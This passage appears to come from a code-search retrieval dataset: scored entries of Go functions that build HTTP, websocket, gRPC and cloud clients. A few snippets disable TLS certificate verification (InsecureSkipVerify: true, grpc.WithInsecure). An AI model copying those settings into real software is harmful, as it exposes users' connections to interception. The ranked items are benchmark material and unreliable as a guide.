config,\n\t}, nil\n}", "title": "" }, { "docid": "11693636a33b69dfb81e7efafd9a3e19", "score": "0.56005293", "text": "func NewClient() *Client {\n\tc := &Client{\n\t\tstreams: make(map[string]map[Streamer]bool),\n\t\tmuxes: make(map[*Mux]bool),\n\t\tsenders: make(map[*Sender]bool),\n\t}\n\t//go func() {\n\t//\tfor range time.NewTicker(5 * time.Second).C {\n\t//\t\tfmt.Println(\"streams: \", c.streams)\n\t//\t\tfmt.Println(\"senders: \", c.senders)\n\t//\t\tfmt.Println(\"muxes: \", c.muxes)\n\t//\t}\n\t//}()\n\treturn c\n}", "title": "" }, { "docid": "e60abd7d99309c39b65dfe8fafa593bb", "score": "0.55846906", "text": "func NewClient(URIs []string) *Client {\n\tclient := Client{\n\t\tURIs: URIs,\n\t}\n\n\tvar httpClient http.Client\n\n\tif len(URIs) == 0 {\n\t\tclient.Transport = NewBootstrapFetcher(&httpClient, IANABootstrap, nil)\n\t} else {\n\t\tclient.Transport = NewDefaultFetcher(&httpClient)\n\t}\n\n\treturn &client\n}", "title": "" }, { "docid": "70c17eeea176712a28c5da3cacad1d60", "score": "0.5581542", "text": "func newClient(apiKey string, storage Storage) *Client {\n\treturn &Client{\n\t\tapiKey: apiKey,\n\t\tstorage: storage,\n\t\tClient: &http.Client{},\n\t}\n}", "title": "" }, { "docid": "7277cf76a819870cf85f19da5c11c59d", "score": "0.55794835", "text": "func NewClient(url string) Client {\n\treturn Client{master: master{url: url}}\n}", "title": "" }, { "docid": "53b35b9ac91c18d71a1e8437548c631a", "score": "0.55698806", "text": "func newClient(conn *websocket.Conn, engine *WSEngine) *WSClient {\n\tsendQSize := DefaultSendQSize\n\tif engine != nil && engine.SendQSize > 0 {\n\t\tsendQSize = engine.SendQSize\n\t}\n\n\tcipher := engine.NewCipher()\n\tcli := &WSClient{\n\t\tWSEngine: engine,\n\t\tConn: conn,\n\t\tchSend: make(chan wsAsyncMessage, sendQSize),\n\t\trunning: true,\n\t\tcipher: cipher,\n\t\tonCloseMap: map[interface{}]func(*WSClient){},\n\t}\n\n\taddr := conn.RemoteAddr().String()\n\tif pos := strings.LastIndex(addr, \":\"); pos > 0 {\n\t\tcli.realIp = addr[:pos]\n\t}\n\n\treturn cli\n}", "title": "" }, { "docid": "5efaa9838d4dcb42a579401be56b64fa", "score": "0.5569163", "text": "func NewClient(url string) (*Client, error) {\n\tresp, err := http.Post(fmt.Sprintf(\"http://%s/v1/clients\", url), \"application/json\", strings.NewReader(\"\"))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer resp.Body.Close()\n\n\tclient := Client{\n\t\turl: url,\n\t\tliveRequests: make(map[string]chan *Received),\n\t\tsubscriptions: make(map[string]chan *Received),\n\t\tRecvBroadcast: make(chan *Received),\n\t\tRecvRequest: make(chan *Received),\n\t\tRecvError: make(chan error),\n\t}\n\n\t// unmarshal the response body\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tjson.Unmarshal(body, &client)\n\n\treturn &client, nil\n}", "title": "" }, { "docid": "6c2ef51d8b9f989a07bfb2ff82c2ba0c", "score": "0.5563613", "text": "func newClient(appName string, clientType string) *clientImpl {\n\tc := &clientImpl{\n\t\tconn: quic.NewQuicConn(appName, clientType),\n\t\treaders: make(chan io.Reader, 1),\n\t\tonce: new(sync.Once),\n\t}\n\n\tc.conn.OnHeartbeatReceived = func() {\n\t\t// when the client received the heartbeat from server, send it back back to server (ping/pong).\n\t\tc.conn.SendSignal(quic.SignalHeartbeat)\n\t}\n\n\tc.conn.OnHeartbeatExpired = func() {\n\t\tc.once.Do(func() {\n\t\t\t// reset stream to nil.\n\t\t\tc.conn.Stream = nil\n\n\t\t\t// reconnect when the heartbeat is expired.\n\t\t\tc.connect(c.zipperIP, c.zipperPort)\n\n\t\t\t// reset the sync.Once after 5s.\n\t\t\ttime.AfterFunc(5*time.Second, func() {\n\t\t\t\tc.once = new(sync.Once)\n\t\t\t})\n\t\t})\n\t}\n\n\treturn c\n}", "title": "" }, { "docid": "7add3d8c1bc909dec78bf05ec6b053f3", "score": "0.5557905", "text": "func NewClient(id string, c *http.Client) (client *Client, err error) {\n\tclient = new(Client)\n\tclient.ID = id\n\tclient.BaseUrl, err = url.Parse(baseUrl)\n\tclient.Blocks = &Blocks{client: client}\n\tclient.Channels = &Channels{client: client}\n\tclient.Chat = &Chats{client: client}\n\tclient.Games = &Games{client: client}\n\tclient.Ingests = &Ingests{client: client}\n\tclient.Search = &Search{client: client}\n\tclient.Streams = &Streams{client: client}\n\tclient.Subscriptions = &Subscriptions{client: client}\n\tclient.Teams = &Teams{client: client}\n\tclient.Users = &Users{client: client}\n\tclient.Videos = &Videos{client: client}\n\n\tif c != nil {\n\t\tclient.client = c\n\t} else {\n\t\tclient.client = http.DefaultClient\n\t}\n\n\treturn client, nil\n}", "title": "" }, { "docid": "61a7c61f101e9a353d8d575d5ccb054f", "score": "0.55571073", "text": "func newHTTP() *http.Client {\n\ttr := newHTTPTransport()\n\n\treturn &http.Client{\n\t\tTimeout: defaultTimeout,\n\t\tTransport: gzhttp.Transport(tr),\n\t}\n}", "title": "" }, { "docid": "81d5f82bf08338a4c7a38e552936dae6", "score": "0.5540208", "text": "func newClient() (*client, error) {\n\treturn nil, errUnimplemented\n}", "title": "" }, { "docid": "c40de22415f7b600c544ed2719f806fc", "score": "0.55389816", "text": "func NewHTTPClient(config HTTPClientCfg, traceOpts ...TraceOpt) (*HTTPClient, error) {\n\tclient := &HTTPClient{\n\t\tid: IDGenerator(),\n\t\tlog: &nilLogger{},\n\t\tsourceIP: config.SourceIP,\n\t\tskipNameserver: config.SkipNameserver,\n\t\tnetProxy: config.Proxy,\n\t\tpendingTraces: lockfree.NewQueue(),\n\t}\n\terr := client.resetTraces(true) // initialize maps\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tclient.tracingCtx, client.cancelTracing = context.WithCancel(context.Background())\n\tclient.tcpHandshakeTimeout = config.TCPHandshakeTimeout\n\tclient.tcpKeepAliveInterval = config.TCPKeepAliveInterval\n\tclient.httpTransp = &http.Transport{\n\t\tProxy: client.proxyForRequest,\n\t\tDialContext: client.dial,\n\t\tTLSClientConfig: config.TLSClientConfig,\n\t\tTLSHandshakeTimeout: config.TLSHandshakeTimeout,\n\t\tDisableKeepAlives: config.DisableKeepAlive,\n\t\tDisableCompression: config.DisableCompression,\n\t\tMaxIdleConns: config.MaxIdleConns,\n\t\tMaxIdleConnsPerHost: config.MaxIdleConnsPerHost,\n\t\tMaxConnsPerHost: config.MaxConnsPerHost,\n\t\tIdleConnTimeout: config.IdleConnTimeout,\n\t\tResponseHeaderTimeout: config.ResponseHeaderTimeout,\n\t\tForceAttemptHTTP2: config.PreferHTTP2,\n\t\tExpectContinueTimeout: config.ExpectContinueTimeout,\n\t}\n\tif config.PreferHTTP2 {\n\t\terr := http2.ConfigureTransport(client.httpTransp)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tvar withPcap *WithPacketCapture\n\tvar withHTTP *WithHTTPReqTrace\n\tfor _, traceOpt := range traceOpts {\n\t\tif topt, withDefaults := traceOpt.(TraceOptWithDefaults); withDefaults {\n\t\t\ttopt.setDefaults()\n\t\t}\n\t\tswitch opt := traceOpt.(type) {\n\t\tcase *WithLogging:\n\t\t\tif opt.CustomLogger != nil {\n\t\t\t\tclient.log = opt.CustomLogger\n\t\t\t} else {\n\t\t\t\tclient.log = logrus.New()\n\t\t\t}\n\t\tcase *WithConntrack:\n\t\t\tclient.nfConn, err = conntrack.Dial(&netlink.Config{})\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"nettrace: failed to connect to netfilter: %v\", err)\n\t\t\t}\n\t\tcase *WithSockTrace:\n\t\t\tclient.withSockTrace = true\n\t\tcase *WithDNSQueryTrace:\n\t\t\tclient.withDNSTrace = true\n\t\tcase *WithHTTPReqTrace:\n\t\t\twithHTTP = opt\n\t\tcase *WithPacketCapture:\n\t\t\twithPcap = opt\n\t\t}\n\t}\n\tif withPcap != nil {\n\t\tclient.packetCapturer = newPacketCapturer(client, client.log, *withPcap)\n\t}\n\tvar rt http.RoundTripper\n\tif withHTTP != nil {\n\t\trt = newTracedRoundTripper(client, *withHTTP)\n\t} else {\n\t\trt = client.httpTransp\n\t}\n\tclient.Client = &http.Client{\n\t\tTransport: rt,\n\t\tTimeout: config.ReqTimeout,\n\t}\n\tif client.packetCapturer != nil {\n\t\terr := client.packetCapturer.startPcap(client.tracingCtx, &client.tracingWG)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tclient.tracingWG.Add(1)\n\tgo client.runTracing()\n\tclient.log.Tracef(\"nettrace: created new HTTPClient id=%s\", client.id)\n\treturn client, nil\n}", "title": "" }, { "docid": "94200e81b9475c16f9b59f67747139e7", "score": "0.55319536", "text": "func newTestClient(fn rtf) *http.Client {\n\treturn &http.Client{\n\t\tTransport: rtf(fn),\n\t}\n}", "title": "" }, { "docid": "8696a935fe1463ed10249cdc0749f043", "score": "0.55200607", "text": "func newClient(token, url string) (*gitlab.Client, error) {\n\tclient, err := gitlab.NewClient(token, gitlab.WithBaseURL(url))\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to create client: %v\", err)\n\t}\n\n\treturn client, nil\n}", "title": "" }, { "docid": "e4d26492459648b3d56a60c45505d028", "score": "0.55143714", "text": "func newHTTPClient(timeout time.Duration) *http.Client {\n\tvar netTransport = &http.Transport{\n\t\tDial: (&net.Dialer{\n\t\t\tTimeout: dialTimeout,\n\t\t}).Dial,\n\t}\n\n\thttpClient := &http.Client{\n\t\tTimeout: timeout,\n\t\tTransport: netTransport,\n\t}\n\n\treturn httpClient\n}", "title": "" }, { "docid": "070d25d40e1436e82c074e99544998c4", "score": "0.5512338", "text": "func NewClient(timeout time.Duration) Client {\n\treturn &client{\n\t\thttpClient: &http.Client{Timeout: timeout},\n\t\treadBody: ioutil.ReadAll,\n\t\tuserAgents: []string{\n\t\t\t\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\",\n\t\t\t\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36\",\n\t\t\t\"Mozilla/5.0 (Linux; Android 8.0.0; Nexus 5X Build/OPR4.170623.006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Mobile Safari/537.36\",\n\t\t\t\"Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1\",\n\t\t\t\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1\",\n\t\t},\n\t\trandom: random.NewRandom(),\n\t}\n}", "title": "" }, { "docid": "d38eff1589ecb32d7d7f1ea621772e24", "score": "0.55013764", "text": "func NewClient(masterURL string, dbDir string) (c *Client, err error) {\n\tc = &Client{weed: weed.NewWeedClient(masterURL)}\n\tname := filepath.Join(dbDir,\n\t\t\"camli-\"+base64.URLEncoding.EncodeToString([]byte(masterURL))+\".db\")\n\tif c.db, err = kv.Open(name, kvOptions()); err != nil {\n\t\tvar e error\n\t\tc.db, e = kv.Create(name, kvOptions())\n\t\tif e != nil {\n\t\t\terr = fmt.Errorf(\"open error: %s; create error: %s\", err, e)\n\t\t}\n\t}\n\tif err == nil && c.db == nil {\n\t\terr = fmt.Errorf(\"couldn't create db as %s\", name)\n\t}\n\treturn\n}", "title": "" }, { "docid": "7d130da05a6262d5a47c36f386fd16bd", "score": "0.5491734", "text": "func newLRSClient(parent *Controller, server string) *lrsClient {\n\treturn &lrsClient{\n\t\tparent: parent,\n\t\tserver: server,\n\t\trefCount: 0,\n\t}\n}", "title": "" }, { "docid": "b6fa130e81f734f1f98543557b42f488", "score": "0.5486069", "text": "func newClient(target, serverName, crt, key, ca string) (winter.WinterGameClient, error) {\n\t// Load the client certificates from disk.\n\tcertificate, err := tls.LoadX509KeyPair(crt, key)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not load client key pair: %s\", err)\n\t}\n\n\t// Create a certificate pool from the certificate authority.\n\tcertPool := x509.NewCertPool()\n\tcaFile, err := ioutil.ReadFile(ca)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not read ca certificate: %s\", err)\n\t}\n\n\t// Append the certificates from the CA.\n\tif ok := certPool.AppendCertsFromPEM(caFile); !ok {\n\t\treturn nil, errors.New(\"failed to append ca certs\")\n\t}\n\n\tcreds := credentials.NewTLS(&tls.Config{\n\t\tServerName: serverName,\n\t\tCertificates: []tls.Certificate{certificate},\n\t\tRootCAs: certPool,\n\t\tMinVersion: tls.VersionTLS12,\n\t})\n\n\t// Create a connection with the TLS credentials.\n\tconn, err := grpc.Dial(target, grpc.WithTransportCredentials(creds))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not connect to game server on addr %s: %v\", target, err)\n\t}\n\n\tclient := winter.NewWinterGameClient(conn)\n\treturn client, nil\n}", "title": "" }, { "docid": "edc8e19acd6eaac6043e8414cb18d988", "score": "0.5482018", "text": "func NewClient(options ...Option) (Client, error) {\n\tcfg := clientConfig{\n\t\tendpoint: \"https://api.web3.storage\",\n\t}\n\tfor _, opt := range options {\n\t\tif err := opt(&cfg); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tif cfg.token == \"\" {\n\t\treturn nil, fmt.Errorf(\"missing auth token\")\n\t}\n\tc := client{cfg: &cfg, hc: &http.Client{}}\n\tif cfg.ds != nil {\n\t\tc.bsvc = bserv.New(blockstore.NewBlockstore(cfg.ds), nil)\n\t} else {\n\t\tds := dssync.MutexWrap(ds.NewMapDatastore())\n\t\tc.bsvc = bserv.New(blockstore.NewBlockstore(ds), nil)\n\t}\n\treturn &c, nil\n}", "title": "" }, { "docid": "fe2ae2239108172dfc9f3f6c5a707eec", "score": "0.54766876", "text": "func createHTTPClient() *http.Client {\n\tlog.Println(\"Creating new http.Client\")\n\n\treturn &http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tMaxIdleConnsPerHost: MaxIdleConnections,\n\t\t},\n\t\tTimeout: time.Duration(RequestTimeout) * time.Second,\n\t}\n}", "title": "" }, { "docid": "ec16d2543091006e28f83b9d4d2e7804", "score": "0.5474549", "text": "func newMessagesClient(url url.URL, p pipeline.Pipeline) messagesClient {\n\treturn messagesClient{newManagementClient(url, p)}\n}", "title": "" }, { "docid": "fdb439c8f5d30b17a65aac7552219adc", "score": "0.546644", "text": "func NewClient(serverURL string) *Client {\n\td := websocket.Dialer{\n\t\tProxy: http.ProxyFromEnvironment,\n\t\tHandshakeTimeout: 3 * time.Second,\n\t\tReadBufferSize: 8192,\n\t\tWriteBufferSize: maxFrameSize,\n\t}\n\tc := &Client{\n\t\tendpoint: serverURL,\n\t\tdialer: d,\n\t\tdispatch: make(map[string]chan clientResponse),\n\t\tsend: make(chan clientRequest, maxMessages),\n\t\tread: make(chan []byte, maxMessages),\n\t\tquit: make(chan error, 2),\n\t\tdisconnectedEvent: make(chan bool, 1),\n\t\tconnectedHandler: func() { return },\n\t\tdisconnectedHandler: func(err error) { return },\n\t}\n\tc.connected.Store(false)\n\tc.running.Store(true)\n\treturn c\n}", "title": "" }, { "docid": "e7fa40781ae7f51c679ec57ed627e1f1", "score": "0.5465415", "text": "func NewHTTPClient(formats strfmt.Registry) *CoprHD {\n\tif formats == nil {\n\t\tformats = strfmt.Default\n\t}\n\ttransport := httptransport.New(\"localhost\", \"/\", []string{\"https\", \"http\"})\n\treturn New(transport, formats)\n}", "title": "" }, { "docid": "bca11b3004364523d8e99501055dbe12", "score": "0.5462365", "text": "func (ga *GameAssigner) StartNewClient(conn WebsocketConn) *Client {\n\tc := &Client{\n\t\tconn: conn,\n\t\tga: ga,\n\t}\n\tgo c.readSocketMsgs()\n\treturn c\n}", "title": "" }, { "docid": "5f082e6b8fb5523c37a25d4601cecd32", "score": "0.5461068", "text": "func NewHTTPClient() *http.Client {\r\n\ttransport := &http.Transport{\r\n\t\tDial: (&net.Dialer{\r\n\t\t\tTimeout: connectionTimeout,\r\n\t\t\tKeepAlive: keepaliveTimeout,\r\n\t\t}).Dial,\r\n\t\tMaxIdleConnsPerHost: maxIdleConnectionsPerHost,\r\n\t\tResponseHeaderTimeout: responseReadTimeout,\r\n\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\r\n\t}\r\n\tglog.Infof(\"tlsconfig insecureskipverify true\")\r\n\treturn &http.Client{Transport: transport}\r\n}", "title": "" }, { "docid": "097863effdf66762cd9f648b3f679e74", "score": "0.54591656", "text": "func NewClient(c *conf.HTTPClient) *Client {\n\tclient := new(Client)\n\tclient.conf = c\n\tclient.timer = itime.NewTimer(c.Timer)\n\tclient.dialer = &net.Dialer{\n\t\tTimeout: time.Duration(c.Dial),\n\t\tKeepAlive: time.Duration(c.KeepAlive),\n\t}\n\tclient.transport = &http.Transport{\n\t\tDial: client.dialer.Dial,\n\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t}\n\tclient.client = &http.Client{\n\t\tTransport: client.transport,\n\t}\n\treturn client\n}", "title": "" }, { "docid": "cb2ae646f8da7a6c530e05dc2702f5ae", "score": "0.54590267", "text": "func newFileClient(url url.URL, p pipeline.Pipeline) fileClient {\n\treturn fileClient{newManagementClient(url, p)}\n}", "title": "" }, { "docid": "0dde4d762f842b41e97b0e06d20757c4", "score": "0.5459019", "text": "func newClient(user, target string) *chatClient {\n\tvar opts []grpc.DialOption\n\topts = append(opts, grpc.WithBlock())\n\topts = append(opts, grpc.WithInsecure())\n\n\t// Cancel context if connection times out after 1 second.\n\tctx, cancel := context.WithTimeout(context.Background(), time.Second)\n\tdefer cancel()\n\n\tconn, err := grpc.DialContext(ctx, target, opts...)\n\tif err != nil {\n\t\tlog.Fatalf(\"fail to dial: %v\", err)\n\t}\n\n\treturn &chatClient{\n\t\tuser: user,\n\t\tclient: pb.NewChatClient(conn),\n\t\tpalette: map[string]string{\n\t\t\t\"background\": \"C5C3C6\",\n\t\t\t\"border\": \"4C5C68\",\n\t\t\t\"title\": \"46494C\",\n\t\t\t\"date\": \"E76F51\",\n\t\t\t\"name\": \"1985A1\",\n\t\t\t\"text\": \"577399\",\n\t\t},\n\t\tfiles: make(map[string]string),\n\t\tchunkSize: 128 * 1024, // 128 KiB\n\t}\n}", "title": "" }, { "docid": "b8cd821245aa8f39c94e0a5b6a47d2ff", "score": "0.5453667", "text": "func NewClient() *http.Client {\n\treturn &http.Client{\n\t\tTransport: ntlmssp.Negotiator{\n\t\t\tRoundTripper: &http.Transport{\n\t\t\t\tTLSNextProto: map[string]func(authority string, c *tls.Conn) http.RoundTripper{},\n\t\t\t},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "7aef72c9311765fbf9393adeddd3b227", "score": "0.5450139", "text": "func (f *HttpQueue) createClient() *http.Client {\n\t//init http trans\n\tnetTransport := &http.Transport{\n\t\tDial: (&net.Dialer{\n\t\t\tTimeout: define.HttpClientTimeOut * time.Second,\n\t\t\tKeepAlive: 30 * time.Second,\n\t\t}).Dial,\n\t\tTLSHandshakeTimeout: define.HttpClientTimeOut * time.Second,\n\t\tResponseHeaderTimeout: define.HttpClientTimeOut * time.Second,\n\t\tExpectContinueTimeout: define.HttpClientTimeOut* time.Second,\n\t}\n\n\t//init native http client\n\tclient := &http.Client{\n\t\tTimeout:time.Second * define.HttpClientTimeOut,\n\t\tTransport:netTransport,\n\t}\n\treturn client\n}", "title": "" }, { "docid": "3b80c2c859dbfe8fde6238bfd519a6ef", "score": "0.5446526", "text": "func newHTTPClient(host string) (*http.Client, error) {\n\t// FIXME(vdemeester) 10*time.Second timeout of SockRequest… ?\n\thostURL, err := client.ParseHostURL(host)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttransport := new(http.Transport)\n\tif hostURL.Scheme == \"tcp\" && os.Getenv(\"DOCKER_TLS_VERIFY\") != \"\" {\n\t\t// Setup the socket TLS configuration.\n\t\ttlsConfig, err := getTLSConfig()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\ttransport = &http.Transport{TLSClientConfig: tlsConfig}\n\t}\n\ttransport.DisableKeepAlives = true\n\terr = sockets.ConfigureTransport(transport, hostURL.Scheme, hostURL.Host)\n\treturn &http.Client{Transport: transport}, err\n}", "title": "" }, { "docid": "42f2c3b212d4ca8192c4b6d37222fb42", "score": "0.5444819", "text": "func NewHTTPClient(formats strfmt.Registry) *Gofish {\n\tif formats == nil {\n\t\tformats = strfmt.Default\n\t}\n\ttransport := httptransport.New(\"localhost\", \"/redfish/v1\", []string{\"http\", \"https\"})\n\treturn New(transport, formats)\n}", "title": "" }, { "docid": "f2f0398f6d5ef0d229f1ac3f9b033544", "score": "0.54430026", "text": "func NewHTTPClient(client *http.Client) SourceHTTPClient {\n\treturn SourceHTTPClient{client: client}\n}", "title": "" }, { "docid": "9bcc52e844b67e557dfde173a4b49bc0", "score": "0.54388714", "text": "func newHTTPClient(config *ConnConfig) (*http.Client, error) {\n\t// Set proxy function if there is a proxy configured.\n\t// var proxyFunc func(*http.Request) (*url.URL, error)\n\t// Configure TLS if needed.\n\tvar tlsConfig *tls.Config\n\tif !config.DisableTLS {\n\t\tif len(config.Certificates) > 0 {\n\t\t\tpool := x509.NewCertPool()\n\t\t\tpool.AppendCertsFromPEM(config.Certificates)\n\t\t\ttlsConfig = &tls.Config{\n\t\t\t\tRootCAs: pool,\n\t\t\t}\n\t\t}\n\t}\n\n\tclient := http.Client{\n\t\tTimeout: time.Second * 15,\n\t\tTransport: &http.Transport{\n\t\t\t// Proxy: proxyFunc,\n\t\t\tTLSClientConfig: tlsConfig,\n\t\t},\n\t}\n\n\treturn &client, nil\n}", "title": "" }, { "docid": "81d985e8a70cfaada2d1d487991ea48b", "score": "0.5436416", "text": "func HTTPClientNew() *HTTPClient {\n\treturn &HTTPClient{\n\t\tcli: restyClient,\n\t\treq: restyClient.R(),\n\t\tresp: &resty.Response{},\n\t}\n}", "title": "" }, { "docid": "9749ca014817e7a7c72e7b85e6c67671", "score": "0.54338336", "text": "func newClient(config string) (*http.Client, error) {\n\tif config != \"\" {\n\t\treturn newJWTClient(config)\n\t}\n\treturn newDefaultClient()\n}", "title": "" }, { "docid": "af2e9e9fc34c946546fe16df4739eac9", "score": "0.5432194", "text": "func NewClient(ctx context.Context, src TokenSource) *http.Client {\n\tif src == nil {\n\t\treturn internal.ContextClient(ctx)\n\t}\n\treturn &http.Client{\n\t\tTransport: &Transport{\n\t\t\tBase: internal.ContextClient(ctx).Transport,\n\t\t\tSource: ReuseTokenSource(nil, src),\n\t\t},\n\t}\n}", "title": "" }, { "docid": "0dbea23e5105af0de96892d4daa90b2c", "score": "0.5428607", "text": "func createHTTPClient() *http.Client {\n\tfmt.Println(\"create httpclient!\")\n\t//client := http.DefaultClient{\n\n\tclient := &http.Client{\n\t\tTransport: &http.Transport{\n\t\t\t//Proxy: http.ProxyFromEnvironment,\n\t\t\t//DisableKeepAlives: true,\n\t\t\t/*Dial: (&net.Dialer{\n\t\t\t\tTimeout: 30 * time.Second,\n\t\t\t\tKeepAlive: 30 * time.Second,\n\t\t\t}).Dial,*/\n\t\t\tTLSHandshakeTimeout: 10 * time.Second,\n\t\t\tResponseHeaderTimeout: 10 * time.Second,\n\t\t\tExpectContinueTimeout: 10 * time.Second,\n\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t\tMaxIdleConns: MaxIdleConns,\n\t\t\tMaxIdleConnsPerHost: MaxIdleConnsPerHost,\n\t\t\tIdleConnTimeout: time.Duration(IdleConnTimeout) * time.Second,\n\t\t},\n\t\tTimeout: time.Duration(30) * time.Second,\n\t}\n\t//client.Timeout = 10 * time.Second\n\n\t//fmt.Print(client.Transport)\n\n\treturn client\n}", "title": "" }, { "docid": "ec3431551c574f86ca31fa0beeb00353", "score": "0.5427066", "text": "func newClient() *ec2.EC2 {\n\tconfig := aws.NewConfig().\n\t\tWithMaxRetries(maxRetries)\n\n\topt := session.Options{\n\t\tSharedConfigState: session.SharedConfigEnable,\n\t\tConfig: *config,\n\t}\n\tsess, err := session.NewSessionWithOptions(opt)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn ec2.New(sess)\n}", "title": "" }, { "docid": "03e6f0b5f0a7ed9b64faebb3f035bd43", "score": "0.5414994", "text": "func createHTTPClient() *http.Client {\n\tclient := &http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tMaxIdleConnsPerHost: MaxIdleConnections,\n\t\t},\n\t\t//Timeout: time.Duration(RequestTimeout) * time.Second,\n\t}\n\treturn client\n}", "title": "" }, { "docid": "2891cd76756a416feeb2c6a118ce0ecd", "score": "0.5413779", "text": "func NewClient(token string, c *http.Client) *Pushbullet {\n\tpb := &Pushbullet{\n\t\ttoken: token,\n\t\tclient: c,\n\t}\n\n\treturn pb\n}", "title": "" }, { "docid": "8545587be9fbc1865ef5d7b983a9a8d1", "score": "0.54088324", "text": "func NewClient(key string, customClients ...*http.Client) *Client {\n\tbaseURL, err := url.Parse(base)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tvar httpClient *http.Client\n\n\tif len(customClients) > 0 && customClients[0] != nil {\n\t\thttpClient = customClients[0]\n\t} else {\n\t\thttpClient = &http.Client{Timeout: time.Second * 10}\n\t}\n\n\treturn &Client{key, baseURL, httpClient}\n}", "title": "" }, { "docid": "cc040ec903cdf0b64f5767d367be8a89", "score": "0.53957856", "text": "func newTestClient(ctx context.Context, addr net.Addr, creds *certdepot.Credentials) (jasper.RemoteClient, error) {\n\tclient, err := NewClient(ctx, addr, creds)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not get client\")\n\t}\n\n\tgo func() {\n\t\t<-ctx.Done()\n\t\tgrip.Notice(client.CloseConnection())\n\t}()\n\n\treturn client, nil\n}", "title": "" }, { "docid": "42fc81a1cad59a9076213b41aa09a6f1", "score": "0.5388007", "text": "func NewClient() (*HTTPClient, error) {\n\tvar netTransport = &http.Transport{\n\t\tDial: (&net.Dialer{\n\t\t\tTimeout: 5 * time.Second,\n\t\t}).Dial,\n\t\tTLSHandshakeTimeout: 5 * time.Second,\n\t}\n\treturn &HTTPClient{Client: &http.Client{\n\t\tTimeout: time.Second * 10,\n\t\tTransport: netTransport,\n\t}}, nil\n}", "title": "" }, { "docid": "5b7f8159ecaad8d299b672faf2251305", "score": "0.5383898", "text": "func newClient(base string) (*client, error) {\n\tu, err := url.Parse(base)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tclient := &client{\n\t\thttpClient: &http.Client{\n\t\t\tTimeout: 5 * time.Second,\n\t\t},\n\t\tbaseURL: u,\n\t}\n\n\treturn client, nil\n}", "title": "" }, { "docid": "b599e7960b155ba65d5ab602dec779eb", "score": "0.5376978", "text": "func NewHTTPClient(c DiscoverdClient) *http.Client {\n\treturn &http.Client{Transport: &http.Transport{Dial: New(c, nil).Dial}}\n}", "title": "" }, { "docid": "e22d872ed7c0d9ed586f073e56927c79", "score": "0.5367789", "text": "func createHTTPClient() *http.Client {\n\treturn &http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tMaxIdleConns: MaxConnectionPerHost,\n\t\t},\n\t\tTimeout: time.Duration(RequestTimeout) * time.Second,\n\t}\n}", "title": "" }, { "docid": "32f801773883aa5913a40ef336862436", "score": "0.5366125", "text": "func NewClient() *Client {\n\tcl := &Client{\n\t\tonError: func(err error) {},\n\t\tconnMu: new(sync.Mutex),\n\t\taudioIn: make(chan []float32, 10),\n\t}\n\n\treturn cl\n}", "title": "" }, { "docid": "d3e42286ff14c90a450ea17658d4910b", "score": "0.5362356", "text": "func newLuaClient() *LuaClient {\n\tjar, _ := cookiejar.New(&cookiejar.Options{})\n\treturn &LuaClient{Client: &http.Client{Jar: jar}}\n}", "title": "" }, { "docid": "505f797657e3bdb555518ad57b6b7901", "score": "0.53478056", "text": "func NewClient(w http.ResponseWriter, req *http.Request, options ...Options) *Client {\n\tif len(options) > 1 {\n\t\tlog.Panicln(\"only one Options value may be provided\")\n\t}\n\n\tflushLatency := 100 * time.Millisecond\n\tchannelSize := 100\n\n\tif len(options) == 1 {\n\t\toptions := options[0]\n\t\tif options.FlushLatency > 0 {\n\t\t\tflushLatency = options.FlushLatency\n\t\t}\n\t\tif options.ChannelSize > 0 {\n\t\t\tchannelSize = options.ChannelSize\n\t\t}\n\t}\n\n\tc := &Client{\n\t\tevents: make(chan Event, channelSize),\n\t\twrite: w,\n\t\tflushLatency: flushLatency,\n\t}\n\n\t// Check to ensure we support flushing\n\tflusher, ok := w.(http.Flusher)\n\tif !ok {\n\t\treturn nil\n\t}\n\tc.flusher = flusher\n\n\tc.ctx = req.Context()\n\n\t// Send the initial headers\n\tw.Header().Set(\"Content-Type\", \"text/event-stream\")\n\tw.Header().Set(\"Cache-Control\", \"no-cache\")\n\tif req == nil || req.ProtoMajor < 2 {\n\t\tw.Header().Set(\"Connection\", \"keep-alive\")\n\t}\n\tflusher.Flush()\n\n\t// start the sending thread\n\tc.waiter.Add(1)\n\tgo c.run()\n\treturn c\n}", "title": "" }, { "docid": "cba04f3fa59a21bddb514417ee5c9a21", "score": "0.5342703", "text": "func NewClient(config *config.Config) *Client {\n\terr := config.Validate()\n\tif err != nil 